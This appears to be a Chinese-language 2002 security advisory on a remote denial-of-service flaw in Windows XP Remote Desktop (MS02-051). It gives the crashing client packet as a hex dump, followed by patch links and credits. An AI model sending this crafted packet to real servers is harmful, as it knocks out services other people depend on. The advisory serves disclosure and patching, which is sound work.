Microsoft Windows XP Professional远程桌面存在拒绝服务攻击发布时间：2002-09-20 更新时间：2002-09-20 严重程度：中 威胁程度：远程拒绝服务 错误类型：意外情况处置错误 利用方式：服务器模式 BUGTRAQ ID：5713 CVE(CAN) ID：CAN-2002-0864 受影响系统 Microsoft Windows .NET Standard Server Beta 3详细描述 Microsoft Windows XP Professional 远程桌面机制存在拒绝服务攻击 恶意客户端在协商客户端服务端图形能力时，可以通过发送扼要的BLT命令包而导致服务器端产生拒绝服务，客户端可以指定drawing命令是否支持，如果Pattern BLT命令包含在发送的包中，Microsoft Windows XP Professional在渲染着色处理登录界面的时候就导致崩溃。 此问题也存在于Microsoft Windows .NET Standard Server Beta 3中。 测试代码 发送类似如下的包： c4 01 13 00 f0 03 ea 03 01 00 ea 03 06 00 ae 01 4d 53 54 53 43 00 11 00 00 00 01 00 18 00 01 00 03 00 00 02 00 00 00 00 05 04 00 00 00 00 00 00 00 00 02 00 1c 00 08 00 01 00 01 00 01 00 00 05 00 04 00 00 01 00 01 00 00 00 01 00 00 00 03 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 14 00 00 00 01 00 00 00 2a 00 01 00 01 01 01 00 00 01 01 01 00 01 00 00 <- was "2a 00 01 01" 00 01 01 01 01 01 01 01 01 00 01 01 01 00 00 00 00 00 a1 06 00 00 00 00 00 00 00 84 03 00 00 00 00 00 e4 04 00 00 13 00 28 00 01 00 00 03 78 00 00 00 78 00 00 00 f3 09 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 08 00 06 00 00 00 07 00 0c 00 00 00 00 00 00 00 00 00 05 00 0c 00 00 00 00 00 02 00 02 00 08 00 0a 00 01 00 14 00 15 00 09 00 08 00 00 00 00 00 0d 00 58 00 05 00 08 00 09 08 00 00 04 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 08 00 01 00 00 00 0e 00 08 00 01 00 00 00 10 00 34 00 fe 00 04 00 fe 00 04 00 fe 00 08 00 fe 00 08 00 fe 00 10 00 fe 00 20 00 fe 00 40 00 fe 00 80 00 fe 00 00 01 40 00 00 08 00 01 00 01 03 00 00 00 0f 00 08 00 01 00 00 00 11 00 0c 00 01 00 00 00 00 0a 64 00 14 00 08 00 01 00 00 00 15 00 0c 00 01 00 00 00 00 0a 00 01 解决方案 关闭不使用远程桌面。 补丁下载： Microsoft Windows 2000 Professional SP3: Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows 2000 Server SP3: Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows 2000 Advanced Server SP3: Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows 2000 Terminal Services SP3: Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows 2000 Datacenter Server SP3: Microsoft Windows 2000 Advanced Server SP2: Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows 2000 Datacenter Server SP2: Microsoft Windows 2000 Professional SP2: Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows 2000 Server SP2: Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows 2000 Terminal Services SP2: Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows XP Professional SP1: Microsoft Patch Q324380 http://download.microsoft.com/download/whistler/Patch/Q324380/WXP/EN-US/Q324380_WXP_SP1_x86_ENU.exe Microsoft Windows XP 64-bit Edition SP1: Microsoft Patch Q324380 http://download.microsoft.com/download/whistler/Patch/Q324380/W64XP/EN-US/Q324380_WXP_SP1_ia64_ENU.exe Microsoft Windows 2000 Server SP1: Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows 2000 Professional SP1: Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows 2000 Advanced Server SP1: Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows 2000 Datacenter Server SP1: Microsoft Windows XP Home SP1: Microsoft Patch Q324380 http://download.microsoft.com/download/whistler/Patch/Q324380/WXP/EN-US/Q324380_WXP_SP1_x86_ENU.exe Microsoft Windows 2000 Terminal Services SP1: Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows .NET Standard Server Beta 3: Microsoft Windows XP 64-bit Edition : Microsoft Patch Q324380 http://download.microsoft.com/download/whistler/Patch/Q324380/W64XP/EN-US/Q324380_WXP_SP1_ia64_ENU.exe Microsoft Windows 2000 Server : Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows 2000 Advanced Server : Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows XP Professional : Microsoft Patch Q324380 http://download.microsoft.com/download/whistler/Patch/Q324380/WXP/EN-US/Q324380_WXP_SP1_x86_ENU.exe Microsoft Windows XP Home : Microsoft Patch Q324380 http://download.microsoft.com/download/whistler/Patch/Q324380/WXP/EN-US/Q324380_WXP_SP1_x86_ENU.exe Microsoft Windows 2000 Datacenter Server : Microsoft Windows 2000 Professional : Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno Microsoft Windows 2000 Terminal Services : Microsoft Patch Q324380 http://www.microsoft.com/windows2000/downloads/security/q324380/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D41326%26redirect%3Dno 相关信息 Ben Cohen and Pete Chown of Skygate Technology Ltd. 参考：http://online.securityfocus.com/archive/1/292267 http://online.securityfocus.com/archive/1/292113 http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-051.a |
